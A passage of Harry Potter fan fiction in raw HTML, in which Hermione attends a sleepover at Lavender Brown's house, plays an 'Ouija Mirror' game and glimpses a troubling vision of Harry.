know what she was\ndoing, she stepped into the fireplace.&nbsp;\nShe was pleasantly surprised when she didn&#8217;t feel even the heat of the\nflames lapping up around her.&nbsp;&nbsp; Careful\nnot to get any smoke in her mouth, Hermione shouted &#8220;The Browns.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; What happened was\nboth completely shocking and completely unexpected. &nbsp;Suddenly Hermione was spinning faster than\nshe&#8217;d ever spun before.&nbsp; She couldn&#8217;t see\nanything except brick and mortar and she was so dizzy, she felt like she was\ngoing to be sick.&nbsp; Trying to remember\neverything she had read, she tucked her arms in to keep from being bruised by\nthe enclosed space she was traveling it.&nbsp;\nEverything was a blur now.&nbsp; Her\nhead was pounding, her heart was beating hard in her chest and she shut her\neyes so that she wouldn&#8217;t have to see the spinning scene anymore.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just when she\nthought she couldn&#8217;t bear it any longer, she felt herself slowing down and\nthen, she came abruptly to a halt.&nbsp; It\nhappened so fast that Hermione tumbled out the fireplace and landed flat on her\nface in the crowded sitting room of Lavender Brown&#8217;s house. </p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione&#8230;\nHermione are you okay?&#8221; Hermione would have recognized the voice anywhere.&nbsp; It was Parvati Patil.&nbsp; She felt herself being pulled to her feet.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Why oh why did I have to fall on my face in\nfront of everyone!&#8221;</i> Hermione thought as she looked around at the sea of\nfaces in front of her.&nbsp; There had to be a\ndozen girls in the room.&nbsp; It looked like\neveryone had arrived before her so they all had the opportunity to see what a\ncomplete and utter idiot she was.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m fine,&#8221;\nHermione said shaking the helping hands away. &#8220;Just one more occasion this summer\nthat I wish I could use my wand.&#8221; She was covered with soot from head to toe.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Covered,&#8221; said a\ngirl who was pushing her way through the crowd.&nbsp;\nShe was much older than the rest and was wielding her wand, which meant\nshe was obviously a fully qualified witch. &nbsp;She waved her wand at Hermione and immediately\nshe was clean again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender was next\nto her. &#8220;This is my cousin Amber; she just graduated from Hogwarts this past\nyear.&nbsp; She was in Ravenclaw.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione eyed her\ncuriously. &#8220;You were head girl weren&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber\nnodded.&nbsp; &#8220;My aunt and uncle commissioned\nme to keep track of you lot.&#8221;&nbsp; Another\ngirl stepped up beside her and she looked slightly younger than Amber. &#8220;This is\nmy friend Penny.&nbsp; She&#8217;s in Hogwarts too,\ngoing into sixth year.&nbsp; She&#8217;s going to\nhelp me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re Hermione\nGranger aren&#8217;t you?&#8221; Penny said immediately.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave her\na stunned look. &#8220;Uh, yes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh yeah, you&#8217;re\nthe one who solved Snape&#8217;s riddle and helped Harry Potter beat &#8216;you know who,&#8217;&#8221;\nAmber said. &#8220;I knew I recognized you.&nbsp;\nYou&#8217;re pretty famous you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s\nconfusion grew as both Amber and Penny shook her hand. &#8220;I am?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh yeah, they&#8217;re\nsaying there&#8217;s no spell you can&#8217;t master.&nbsp;\nYou&#8217;re going to be head girl for sure you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione could\nbarely keep herself from blushing as Amber praised her.&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Finally,\nsomeone who doesn&#8217;t think being smart is a bad thing.&#8221;</i> Amber definitely\nseemed like a cool person.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well everyone&#8217;s\nhere now,&#8221; Lavender announced, &#8220;So how about you all throw your bags in the rec room and we can change and go out to the pool.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone grabbed\ntheir bags and followed Lavender out of the sitting room.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender&#8217;s pool\nwas huge, larger than an Olympic size pool and it had slides and other\nattachments that reminded Hermione of some of the rides from the Wizard&#8217;s World\nFair.&nbsp; No one else seemed particularly\nimpressed by the size of the pool and Hermione wondered if it was because\nwizarding families could have pools this size because of magic or because\nLavender&#8217;s family was just well-to-do.&nbsp;\nIn either case, it was the biggest pool Hermione had ever been in.&nbsp; She decided to lie on an air mattress and\ntalk to a Hufflepuff girl named Hannah.&nbsp;\nThe two older girls, Amber and Penny were making lunch on a magical\ngrill beside the pool.&nbsp; Amber was doing\nmost of the work since she was the only one who could use her wand.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched\nas some of the girls took turns jumping down a long tube into the pool and she\nwondered vaguely if it was anything like the &#8220;Giant Drop&#8221; at the Wizard&#8217;s World\nFair.&nbsp; Just as she was thinking this,\nLavender, Padma, and a few other girls swam over to them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How come you aren&#8217;t swimming, Hermione?&#8221; Padma asked\nplayfully.&nbsp; &#8220;Don&#8217;t like the water.&#8221; She\nstarted to splash the two girls.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parvati swam up\nto them. &#8220;You should try the tube.&nbsp; It&#8217;s\nfun.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shook\nher head vehemently. &#8220;Oh no!&nbsp; That thing reminds me too much of a ride at\nthe Wizard&#8217;s World Fair.&nbsp; One that I&#8217;d\nlike to forget, thank you very much.&#8221; Everyone&#8217;s mouths dropped. &#8220;What?&nbsp; Did I say something wrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You went to the\nWizard&#8217;s World Fair?&#8221; one of the girls asked in shock. &#8220;In Florida?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s so\nawesome.&nbsp; My parents never let me\ngo.&nbsp; They say it&#8217;s too dangerous.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I heard the\ntickets were a fortune, almost as much as the Quidditch World Cup.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ve got to\ntell us all about it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All of the girls\nwere gathering around her float now, eager for Hermione to tell her story.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender was\nlooking over at her cousin. &#8220;I think the food is ready; anybody hungry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mandy&#8217;s stomach\nseemed to growl on cue. &#8220;Yeah I am.&nbsp; Come\non, Hermione can tell us all about the fair while we eat; right Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh sure, I\nguess.&#8221; Hermione said as she slid off the raft into the pool to swim back with\nthe rest of the girls.&nbsp; Her eyes were\nfixed on Lavender who had an extremely strained look on her face.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The girls insisted\non hearing all about the fair.&nbsp; Even\nPenny was intrigued as she&#8217;d never been to a fair either.&nbsp; Hermione went back inside and brought out the\nportrait that the Chinese wizard had made of her.&nbsp; Everyone agreed it was an excellent\nlikeness.&nbsp; She then told them about her\nstolen wand. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So that kid took\nyour wand just because you wouldn&#8217;t hang out with him?&#8221; A girl named Megan\nasked Hermione as she told her story. &#8220;How rude!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How did you know\nit was him?&#8221; Hannah asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know.&#8221;\nHermione shrugged. &#8220;I just sort of remembered him bumping into me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That was really\namazing how you got it back,&#8221; Hannah said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well when you\nhang around Harry Potter you learn a thing or two about flying, I&#8217;m sure,&#8221;\nParvati added and Hermione could hear a hint of resentment in her voice.&nbsp; She could only guess that she was still upset\nat how close she was to Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was glad\nto see that the other girls didn&#8217;t seem too upset about this though.&nbsp; Still, she hated always being associated with\nHarry.&nbsp; I mean of course he was her best\nfriend, but she was her own person.&nbsp; It\nwasn&#8217;t like they did everything together; did they?&nbsp; She thought about this for a moment.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;I do spend almost all my time with Harry\nand Ron, but that&#8217;s because they&#8217;re my only friends.&nbsp; Then again, it&#8217;s not like I tried to make any\nother friends. But it&#8217;s not like anyone wanted to be friends with me anyway;\nnot Hermione Grange, the brain.&nbsp; But\nstill&#8230;&#8221;</i> she looked around at all the girls sitting on the patio laughing\nand joking, retelling stories about the previous school year.&nbsp; They were all friends but Hermione really\nwasn&#8217;t part of this group.&nbsp; She was just\nan outsider.&nbsp; That was probably why\nLavender was glaring at her earlier. She didn&#8217;t want Hermione there because she\nwasn&#8217;t part of the group. <i style="mso-bidi-font-style:normal">&#8220;I knew it; she\nonly invited me because she had to, because I&#8217;d be the only one left out.&nbsp; Poor little muggle born Hermione; she&#8217;s\nbarely got any friends so we better invite her or she&#8217;ll miss out on all the\nfun.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you remember\nthat, Hermione?&#8221; one of the girls, Lisa, asked her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh, remember\nwhat?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That Slytherin\ngirl, Millicent, what she did at Halloween dinner; it was hilarious.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh I wasn&#8217;t\naround for the Halloween feast.&nbsp; I was\nuh... busy&#8230; with a troll,&#8217; she said vaguely.&nbsp;\nShe was still watching Lavender watch her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The troll?&nbsp; What do\nyou mean?&#8221; Penny seemed to have had her interest peaked again. &#8220;Why weren&#8217;t you\nin your common room with the rest of your housemates?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Something\nfamiliar in Penny&#8217;s voice made Hermione ask. &#8220;Are you a prefect?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber let out a\nharsh laugh. &#8220;Oy, &#8216;Perfect Prefect\nPenny.&#8217;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well anyway, I\ndidn&#8217;t know the troll was around until it stormed into the girl&#8217;s bathroom\nwhere I was at.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;d been in\nthere all afternoon, crying,&#8221; Padma added matter-of-factly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shot her\na &#8220;why did you have to tell them that?&#8221; look but Mandy, who didn&#8217;t seem to have\nheard the comment said. &#8220;So you <i style="mso-bidi-font-style:normal">saw</i>\nthe troll?&#8221; as if she had seen the Pope.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, something\nI <i style="mso-bidi-font-style:normal">never</i> want to see again.&nbsp; They&#8217;re ugly, and smelly, and they have gray\nboogers,&#8221; she said in disgust.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ewwww!&#8221; all the girls chimed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, no more\ntalk about trolls,&#8221; Padma said, pretending to gag, &#8220;I just finished eating.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Speaking of such,\nnow what should we do?&#8221; Lisa asked. &#8220;We&#8217;ve got a long time before bed?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll we&#8217;ve got\nsome games,&#8221; Amber told them. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I think some of\nthe girls brought stuff too,&#8221; Lavender added.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did you bring\nanything, Hermione?&#8221; Mandy asked, much to Hermione&#8217;s chagrin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230;&#8221; Hermione\nlooked down at her bag which she had brought out earlier to retrieve her\nwizard&#8217;s portrait.&nbsp; The only thing she\nhad other than clothes was the Gilderoy Lockhart book.</p>\n\n<p class="MsoNormal">Mandy followed Hermione&#8217;s eyes downward and saw the book as\nwell. &#8220;Ooo, what&#8217;s this?&#8221; She snatched the book up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Who goes around snatching other people&#8217;s\nthings?&nbsp; Didn&#8217;t her mum teach her\nmanners?&#8221;</i></p>\n\n<p class="MsoNormal">&#8220;Hermione,&#8221; Parvati huffed. &#8220;Can&#8217;t you go anywhere without a\nbo...&#8221; she came to stand\nbehind them. &#8220;Gilderoy Lockhart?&nbsp; You&#8217;ve\ngot &#8216;Magical Me?&#8221; &nbsp;But it&#8217;s only just\ncome out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was an\nimmediate rush of all the girls to where Mandy and Hermione were sitting.&nbsp; Even Amber and Penny couldn&#8217;t contain their\nexcitement.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh he&#8217;s so\nhandsome.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And brave.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And charming&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I wish I could\nmeet him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s the book\nlike Hermione?&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They rest of the\nevening was spent playing various wizarding games while the girls discussed\nschool, Hogwarts boys, and Gilderoy Lockhart.&nbsp;\nAs dusk turned to night, Amber appeared in the room holding a small\nmirror and announced that she had a good game for them to play.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s really best\ndone at nighttime because it&#8217;s a freaky game,&#8221; she said as ominously as she\ncould with the grin on her face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All of the girls\nstared at her with blank looks.&nbsp; Amber\nquickly arranged them in a circle and put the small mirror in the center. &#8220;Now,\ndo you girls know what this is?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a mirror,&#8221;\nLavender said blandly, and she was right.&nbsp;\nIt was a small round mirror with a gold plated back.&nbsp; There seemed to be nothing extraordinary\nabout it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Amber sighed. &#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s an Ouija\nMirror,&#8221; Hermione answered immediately. &#8220;But, they don&#8217;t really work, do\nthey?&nbsp; It&#8217;s just a party trick.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Or is it?&#8221; Amber\nsaid with a twinkle in her eyes. &#8220;This is a special Ouija Mirror that I bought\nwhen I vacationed in Egypt.&nbsp; They say it\nworks better than the regular ones.&nbsp;\nWe&#8217;ll find out tonight.&nbsp; Okay listen up girls; this is how you play.&nbsp; Everyone hold up your wand arms and put your\nconcentration solely on the mirror.&#8221; They all did as she said and to their\nsurprise the mirror began to levitate. &#8220;The magic is in the mirror itself.&nbsp; You&#8217;re just using your own raw magical power\nto give the mirror a bit of direction.&nbsp;\nNow here are the rules.&nbsp; You make\nthe mirror turn so that the looking glass is facing one of you.&nbsp; Then that person asks a question, any\nquestion you want to ask it.&nbsp; The mirror\nshows you the answer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But does it\nreally work?&#8221; Mandy asked rubbing her arm, which was already growing tired.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well that\ndepends,&#8221; Amber said with a gleam in her eyes. &#8220;The mirror is supposed to give\na true answer or what it believes to be the truth, but of course it has all the\nthoughts and ideas of the people around, feeding it, so the answer it gives\ncould be real or just someone&#8217;s stray thoughts.&nbsp;\nThe only way to be sure is to make sure that all of you clear your\nminds, don&#8217;t try to guide the mirror&#8217;s answer in any way, and then it will show\nthe truth.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Cool,&#8221; the girl\nbeside Hermione, Megan, said. &#8220;So who goes first?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Concentrate on\nthe mirror, and it will pick the first from your thoughts,&#8221; Amber told them\nagain.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They did as she\nsaid.&nbsp; The mirror floated idly for a\nmoment and then it began to rotate until the looking glass faced Lavender.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And appropriately so, seeing as how this\nis her party and all, she should probably go first.&#8221;</i> Hermione thought to\nherself.&nbsp; She knew she had been thinking\nof Lavender and guessed that the others were doing the same.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What will my\nlife be like in ten years,&#8221; Lavender asked the mirror.&nbsp; Immediately there was a flash of light from\nthe looking glass.&nbsp; Lavender&#8217;s eyes\nwidened as she took in whatever the mirror was showing her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After five\nminutes of waiting, the mirror flashed again and Lavender&#8217;s eyes returned to\nnormal.&nbsp; The mirror continued to hover\nidly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What did you\nsee?&#8221; Parvati pressed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Loads,&#8221; Lavender\npanted. &#8220;I saw me and I was working at this store, I think I owned it.&nbsp; I had a little baby, but I didn&#8217;t see who I\nwas married to.&nbsp; It all went so fast,\nbut&#8230; whoa what a rush.&nbsp; You&#8217;ve got to try\nthis.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone began\nconcentrating on the mirror again and this time it turned to face Parvati.&nbsp; Her question came out immediately. &#8220;Will\nHarry Potter ever ask me out?&#8221;<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Not\non your life, girlie.&#8221; </i>Hermione thought to herself.&nbsp; There was a flash and Parvati beamed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What did it\nsay?&#8221; Padma asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Only one word:\nYes.&#8221; All the girls began giggling, except Hermione who was convinced someone\nwas feeding that particular answer.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The mirror\ncontinued around the circle.&nbsp; One girl\nasked if she&#8217;d ever meet Gilderoy Lockhart, the answer that came back was a\nyes.&nbsp; Another asked the mirror to show\nher what she&#8217;d look like in six years.&nbsp;\nShe seemed pleased with the results.&nbsp;\nAs the mirror turned to the two girls on either side of her, Hermione\nnoticed that even though she was staring right at the looking glass, she\ncouldn&#8217;t see what was shown to her neighbors.&nbsp;\nAmber explained that only the one asking the question could see the\nanswer.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Finally, the\nmirror turned to face her.&nbsp; By this time\neveryone else had gone.&nbsp; It was very dark\nnow and for some strange reason the mirror looked somewhat ominous.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Go ahead\nHermione,&#8221; Mandy prompted. &#8220;Ask the mirror something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s mind\ndrew a blank.&nbsp; She had had almost an hour\nto think of a question but nothing appropriate came to mind. &nbsp;She could ask it if she would become head girl\nor be a prefect, but she didn&#8217;t want to ask that kind of question in front of\nthese girls.&nbsp; She could ask the mirror\nwhat her distant future would be like, but several of the other girls had asked\nthat, and she wasn&#8217;t sure if she&#8217;d trust the results anyway.&nbsp; She didn&#8217;t really believe the mirror showed\nanything beyond the hopes and aspirations of the questioner.&nbsp; Still she figured she should at least play\nalong.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay then; what\nwill my second year be like?&nbsp; Will it be anything like my first?&nbsp; What&#8217;s going to happen?&#8221;&nbsp; She figured that was a generic enough\nquestion.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The mirror didn&#8217;t\nrespond.&nbsp; Its looking glass was cloudy\nand didn&#8217;t even reflect her face.&nbsp; Then a\npair of dark yellow eyes appeared.&nbsp;&nbsp; They\nseemed to be looking into her very soul.&nbsp;\nHermione gasped.&nbsp; She was\ntransfixed, almost frozen as the eyes continued to boar into her.&nbsp; Then suddenly it was as if the mirror had\ngrown so big that the looking glass blocked her entire field of vision. &nbsp;The room around her had faded away and was\nreplaced with a new scene.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Then, she saw\nHarry right in front of her.&nbsp; He was\nbruised and bleeding and in one hand he held a sword.&nbsp; He was screaming in pain.&nbsp; Had he been in some sort of fight?&nbsp; Then as quickly as it happened, it was\nover.&nbsp; She was back in the room with the\nother girls; the mirror clattered to the floor.&nbsp;\nEveryone was staring at her, and she realized she was breathing heavily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, did\nyou see anything.&nbsp; The mirror didn&#8217;t\nflash or anything.&nbsp; Did it show you\nsomething?&#8221; Mandy was asking.</p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What in the world was it that I just\nsaw?&nbsp; Did the mirror really work?&nbsp; It can&#8217;t have.&nbsp; That was just my paranoia about Harry being\nin danger.&nbsp; It&#8217;s not real.&#8221;</i> </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well?&#8221; Mandy\nprompted her again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There was no way she\nwas going to tell the girls what she really saw. &#8220;I uh&#8230; it didn&#8217;t work.&nbsp; I didn&#8217;t see anything,&#8221; she lied. &#8220;I guess I\nconfused it, or maybe it&#8217;s because I don&#8217;t really believe it works.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh too bad,&#8221;\nLisa said as the girls began to stretch.&nbsp;\nThey&#8217;d spent over an hour holding they&#8217;re wand arms up. &#8220;Want to try\nagain?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Hermione\nsaid immediately. &#8220;It&#8217;s okay.&nbsp; I&#8217;m fine,\nreally.&#8221; She noticed Amber was staring at her.&nbsp;\nShe could tell the look instantly.&nbsp;\nAmber knew she was lying.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After a few\nseconds, she broke off her stare and collected her Ouija Mirror. &#8220;Well, hope\nyou girls had fun.&nbsp; I&#8217;ll let you get back\nto your own games.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Later that\nevening, the girls told ghost stories.&nbsp;\nHermione had never heard anything like these wizarding tales of horror.&nbsp; It was far worse than anything that could be\nthought of in the muggle world.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And he was\ncursed to read the same page in the book forever!&#8221; Padma finished dramatically.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wicked,&#8221; some of\nthe girls gasped.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Proving that\nsometimes reading can be dangerous,&#8221; Lavender said poignantly. &#8220;You should\nremember that Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Speaking of\nsuch,&#8221; Megan said suddenly. &#8220;Hermione, you should tell your story?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My story?&#8221; Hermione repeated, wondering if she wanted to\nhear a ghost story.&nbsp; &#8220;I don&#8217;t know any.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not that kind of\nstory,&#8221; Megan said shaking her head. &#8220;<i style="mso-bidi-font-style:\nnormal">Your</i> story.&nbsp; The story\nof how you and Harry Potter saved the Sorcerer&#8217;s Stone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh that story,&#8221;\nHermione sighed.&nbsp; She knew this would be\ncoming sooner or later.&nbsp; If it were Ron,\nhe&#8217;d be more than willing to recount with great detail the events of that\nfateful night to anyone who showed the slightest interest.&nbsp; She&#8217;d witnessed this for herself many times\nin the common room in the days that followed the end of year feast.&nbsp; Of course when people found out that he&#8217;d\nbeen unconscious for part of the adventure they quickly lost interest, much to\nRon&#8217;s chagrin.&nbsp; They usually harassed\nHermione for the details because they knew she&#8217;d been there for almost the entire\ntime, and that she knew everything that happened, even the parts where Harry\nwas alone.&nbsp; No one wanted to ask Harry\nfor the story because the whole ordeal had raised him to the heights of an\nuntouchable celebrity and people were afraid to approach him on the subject.</p>\n\n<p class="MsoNormal">After what seemed like a thousand times, Hermione was sick\nof hearing herself tell the story.&nbsp; Plus\nshe 